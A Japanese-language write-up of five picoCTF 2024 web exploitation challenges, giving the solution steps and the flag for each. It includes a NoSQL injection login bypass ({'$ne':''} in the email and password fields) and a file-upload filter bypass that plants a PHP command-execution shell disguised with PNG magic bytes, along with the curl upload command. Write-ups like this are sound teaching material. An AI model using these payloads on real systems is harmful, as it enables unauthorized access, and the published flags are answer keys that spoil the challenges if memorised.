picoCTF 2024 Writeup - Web Exploitation
Bookmarklet - 50 points
テキストエリアに以下のJavaScriptが入っているのでコピペしてコンソールなどから実行すれば良い
javascript:(function() {
var encryptedFlag = "àÒÆަȬëÙ£ÖÓÚåÛÑ¢ÕÓÔÅÐÙí";
var key = "picoctf";
var decryptedFlag = "";
for (var i = 0; i < encryptedFlag.length; i++) {
decryptedFlag += String.fromCharCode((encryptedFlag.charCodeAt(i) - key.charCodeAt(i % key.length) + 256) % 256);
}
alert(decryptedFlag);
})();
フラグは以下。
picoCTF{p@g3_turn3r_1d1ba7e0}
WebDecode - 50 points
ページ右上のABOUTをクリックしてabout.htmlに遷移する。HTMLソースをみるとsection要素のnortify_true属性に怪しげな文字列がある。
<section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfZGYwZGE3Mjd9">
これをbase64でデーコードするとフラグを取得できる。
フラグは以下
picoCTF{web_succ3ssfully_d3c0ded_df0da727}
Unminify - 100 points
HTMLソースを見るとフラグが記載されている。
<p class="picoCTF{pr3tty_c0d3_622b2c88}"></p>
No Sql Injection - 200 points
ソースコードが提供されるので中身を確認する。
util/database.tsを見るとmongooseというmongodbのライブラリを使っている。
import mongoose, { ConnectOptions } from "mongoose";
models/user.tsにUserのスキーマ情報があり、tokenにフラグが保存されているようだ。
const UserSchema: Schema = new Schema({
email: { type: String, required: true, unique: true },
firstName: { type: String, required: true },
lastName: { type: String, required: true },
password: { type: String, required: true },
token: { type: String, required: false ,default: "{{Flag}}"},
});
app/api/login/route.rbを見るとemail/passwordの値は{}で囲まれているとJSONとしてparseして検索してくれるっぽい。
const users = await User.find({
email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email,
password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : password
});
タイトルからもNo SQL Injectionだろうということで、emailとpasswordを両方{"$ne":""}にしてログインすると/loginにPOSTしたレスポンスのjsonにtokenが含まれる。
"token":"cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzUzZDkwZTI4fQ=="
base64っぽいのでデコードするとフラグが取得できる
picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_53d90e28}
Trickster - 300 points
PNGファイルをアップロードするサービス。ソースコードはなし。
まずは、/robots.txtを見る
User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/
/instructions.txtを見る。
Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
look for ".png" extension in the submitted files
make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.
PNGかどうかをチェックするときに.png拡張子と中身にPNGが含まれるかでチェックしているようだ。
適当なファイル(a.png)をアップロードすると、fileパラメタにファイルの内容が渡されて/にPOSTしている。アップロードしたファイルはrobots.txtに書かれていた、/uploads/a.pngに保存され、直接アクセス可能である。
HTTPレスポンスヘッダを見るとサービスはPHP製。
X-Powered-By: PHP/8.0.30
PHPファイルをアップロードして実行できないかということで、以下のファイルをphpinfo.png.phpという名前でアップロードしてみる
PNG<?php phpinfo(); ?>
以下のコマンドでアップロード。
curl -F file=@phpinfo.png.php <インスタンスのURL>
/uploads/phpinfo.png.phpにアクセスするとphpinfoが表示されるので、PHPファイルをアップロードすることが可能。
フラグファイルが存在しないか、/を検索するようなPHPを作成する
PNG
<?php
$output = null;
exec('find ../ -type f', $output);
print_r($output);
?>
アップロードして確認すると。
PNG Array ( [0] => ../uploads/a.png [1] => ../uploads/phpinfo.png.php [2] => ../uploads/search.png.php [3] => ../GQ4DOOBVMMYGK.txt [4] => ../index.php [5] => ../instructions.txt [6] => ../robots.txt )
../GQ4DOOBVMMYGK.txtが怪しいので/GQ4DOOBVMMYGK.txtにアクセスするとフラグが表示される。
/* picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_48785c0e} */
Discussion